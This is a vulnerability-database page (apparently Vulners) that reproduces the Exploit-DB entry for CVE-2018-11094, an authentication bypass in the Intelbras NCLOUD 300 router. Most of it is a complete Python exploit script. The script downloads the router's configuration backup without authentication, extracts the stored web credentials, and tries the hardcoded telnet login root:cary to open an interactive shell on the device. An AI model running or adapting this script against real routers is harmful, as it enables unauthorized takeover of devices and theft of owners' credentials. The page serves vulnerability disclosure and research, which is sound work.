Lucene search
K

Intelbras NCLOUD 300 1.0 - Authentication bypass

🗓️ 17 May 2018 00:00:00Reported by Pedro AguiarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 54 Views

Intelbras NCloud 300 allows authentication bypass, enabling remote configuration downloads.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Intelbras NCLOUD 300 1.0 - Authentication bypass Exploit
17 May 201800:00
zdt
CNVD
Intelbras NCLOUD 300 Denial of Service Vulnerability
17 May 201800:00
cnvd
CVE
CVE-2018-11094
15 May 201819:00
cve
Cvelist
CVE-2018-11094
15 May 201819:00
cvelist
exploitpack
Intelbras NCLOUD 300 1.0 - Authentication bypass
17 May 201800:00
exploitpack
NVD
CVE-2018-11094
15 May 201819:29
nvd
OpenVAS
Intelbras NCLOUD 300 Router Authentication Bypass Vulnerability
17 May 201800:00
openvas
Packet Storm
Intelbras NCLOUD 300 1.0 Authentication Bypass
17 May 201800:00
packetstorm
Prion
Authentication flaw
15 May 201819:29
prion
# coding: utf-8
# Exploit Title: Intelbras NCloud Authentication bypass
# Date: 16/05/2018
# Exploit Author: Pedro Aguiar - [email protected]
# Vendor Homepage: http://www.intelbras.com.br/
# Software Link: http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/roteadores/ncloud
# Version: 1.0
# Tested on: Linux
# CVE : CVE-2018-11094
# Description: As described here: https://blog.kos-lab.com/Hello-World/ the Ncloud 300 device does not properly
# enforce authentication, allowing an attacker to remotely download the configurations backup ('/cgi-bin/ExportSettings.sh').
# The configurations backup file contains the web interface username and password. 
# Also, there are hardcoded credentials in the telnet service (root:cary), in cases where root user does not exist, 
# it was replaced by the web interface credentials. This exploit downloads the backup file and tries to use the credentials
# to log into the device using telnet.

import sys
import requests
import telnetlib
import re

def help():
    print 'Usage: '
    print 'python exploit.py http://192.168.0.1'

def pop_shell(host, user, password):
    if(user == "root"):
        print '[+] Trying default credentials: root:cary'
    else:
        print '[+] Trying credentials obtained from /cgi-bin/ExportSettings.sh'
        with open('NCLOUD_config.dat', "r") as f:
            content = f.read()
            user = content.split("Login=")[1].split("\n")[0]
            password = content.split("Password=")[1].split("\n")[0]
            #print 'User: '+ user
            #print 'Password: '+ password
            f.close()
    try:
            ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', host)[0]
            tn = telnetlib.Telnet(ip, 23, timeout=10)
            tn.expect(["WORKGROUP login:"], 5)
            tn.write(user + "\r\n")
            tn.expect(["Password:"], 5)
            tn.write(password + "\r\n")
            i = tn.expect(["Login incorrect"], 5)
            if i[0] != -1:
                raise ValueError('[-] Wrong credential')
            tn.write("cat /proc/cpuinfo\r\n")
            tn.interact()

            tn.close()
    except Exception as e:
        print e
        if(user == "root"):
            pop_shell(host, 'try', 'again')

def exploit(host):
    print '[*] Connecting to %s' %host
    path = '/cgi-bin/ExportSettings.sh'
    payload = 'Export=Salvar'

    response = requests.post(host + path, data=payload)
    response.raise_for_status()

    if(response.status_code == 200 and "Login=" in response.text):
        print '[+] Config download was successful'
        print '[+] Saving backup file to NCLOUD_config.dat'
        with open('NCLOUD_config.dat', "w") as f:
            f.write(response.text)
            f.close()
        pop_shell(host, "root", "cary")
def main():
    if len(sys.argv) < 2 or not sys.argv[1].startswith('http://'):
        help()
        return
    host = sys.argv[1]
    exploit(host)

if __name__ == '__main__':
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 May 2018 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 39.8
CVSS 210
EPSS0.56294
54